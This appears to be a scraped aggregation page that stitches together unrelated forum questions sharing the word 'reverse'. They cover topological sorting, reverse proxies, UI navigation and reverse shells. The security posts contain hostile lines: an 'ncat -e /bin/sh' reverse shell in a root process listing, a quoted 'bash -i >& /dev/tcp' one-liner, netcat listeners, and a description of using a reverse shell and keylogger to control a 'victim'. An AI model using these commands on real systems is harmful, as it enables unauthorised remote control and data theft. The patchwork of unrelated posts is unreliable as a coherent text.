How to do a reverse topological sort using depth first search?

I’m doing a replacement for the venerable make utility that will support, among other things, automatic cleaning. The utility figures out automatically what files and directories are targets, and then deletes those, if the user wishes to do a clean operation. However, a file may reside in an automatically created directory, meaning I should do a topological sort for the targets, where every file has an arc towards the parent directory, and every directory has an arc towards its parent. So, for example:

  • objhierarchy/obj/foo.o has an arc towards objhierarchy/obj
  • objhierarchy/obj has an arc towards objhierarchy

What complicates the things is that the files need to be deleted in the reverse order. So, in the example given, you need this order: (1) objhierarchy/obj/foo.o, (2) objhierarchy/obj, (3) objhierarchy.

Topological sort seems like a good solution, but it gives the opposite order. So, a topological sort of the directory parent graph would yield (1) objhierarchy, (2) objhierarchy/obj, (3) objhierarchy/obj/foo.o.

A solution could be a buffer of pointers that is reversed in-place (or just iterated in the reverse order), but I would like to avoid allocating extra memory.

What is the best way to get the files deleted in the reverse order? Can the topological sort algorithm based on depth first search be modified to call some callback function in a reverse order?

Can’t connect to reverse shell – connection waits forever

I’ve setup a simple Kali Linux machine on AWS and added a security group where all ports are open, then I executed:

nc -vlp 4444 

Now, in my own personal computer I execute a simple Go program:

package main  import (     "fmt"     "net" )  const IP = "MY_PUBLIC_IP:4444"  func main() {     conn, _ := net.Dial("tcp", IP)     fmt.Println(conn) } 

Nothing really happens, the connection waits until it timeouts. Am I missing some configuration?

Thank you.

Is it possible to hijack an active reverse shell?

Is it possible to hijack an active reverse shell via MITM attacks (or other techniques) that is running as root, while I am an unprivileged user?

root      2108  2107  0 13:55 ?        00:00:00 /bin/bash /usr/local/bin/run-parts --lsbsysinit /etc/update-motd.d root      2109  2108  0 13:55 ?        00:00:00 ./tmp/ncat 4444 -e /bin/sh root      2110  2109  0 13:55 ?        00:00:00 /bin/sh 

I was thinking about that due to the fact that the connection is not encrypted.

Search page not showing after URL rewrite on reverse proxy

Our SharePoint 2016 on-premise farm have setup Internet access. Our reverse proxy have setup URL rewrite from ‘’ (Internet URL) to https://server_wfe1/ (our web front end server).

Most functions are working fine beside the search page. When browse with IE nothing wrong. But browse with Chrome or Firefox return:

Unexpected response from server. The status code of response is ‘403’. The status text of response is ‘Forbidden’.

After checking ULS log, the problem is:

Request is a Cross-Origin request. Origin is : ‘’. Host is : https://server_wfe1/_vti_bin/client.svc/ProcessQuery

How can we configure SharePoint to work around it?

Why would people connect to reverse shell’s server side?

This is weird question, I implemented a reverse shell application, in which multiple commands can be executed and a keylogger can be executed. But, I need to connect to the server first, that way on the server side, attacker/user can type in commands, such as “run keylogger or blah blah blah etc” to control the client/victim. But, this is just a test by myself. In reality, who the hell will connect to this/my server? I do not understand. Is this server hosts a public website? that people will accidentally pass by? Or, who would run the bash like this: $ bash -i >& /dev/tcp/ 0>&1 ? This is from a tutorial, but again, why should/would people run this, when it is dangerous? I do not understand the logic here. And the tutorial says I should use netcat to listen on port: nc -vlp 80 , but nothing happens. Why is that? Shouldn’t be someone connect to me? Thanks a lot in advance

Reverse proxy for full packet capture

My goal is full packet capture in office so i have to decrypt TSL traffic. I’m testing Reverse proxy on my computer and one client on virtual machine. In example if i run wireshark on my computer then my virtual machine using HTTPS i will read like a plain text. How do i set up that any video tutorial or documentation ? Sorry for bad english

Example Lateral, Forward & Reverse Navigation in Desktop Applications

I’m researching Material Design in how it’s related to layer based navigation.

Navigational directions Based on your app’s information architecture, a user can move in one of three navigational directions:

Lateral navigation refers to moving between screens at the same level of hierarchy. An app’s primary navigation component should provide access to all destinations at the top level of its hierarchy.

Forward navigation refers to moving between screens at consecutive levels of hierarchy, steps in a flow, or across an app. Forward navigation embeds navigation behavior into containers (such as cards, lists, or images), buttons, links, or by using search.

Reverse navigation refers to moving backwards through screens either chronologically (within one app or across different apps) or hierarchically (within an app). Platform conventions determine the exact behavior of reverse navigation within an app.

Does anyone know of any online examples of a mobile and desktop app that demonstrates this?

We see it in mobile app design everywhere, that’s prolific. But how those layers translate between mobile to desktop layout is what I cannot find examples of.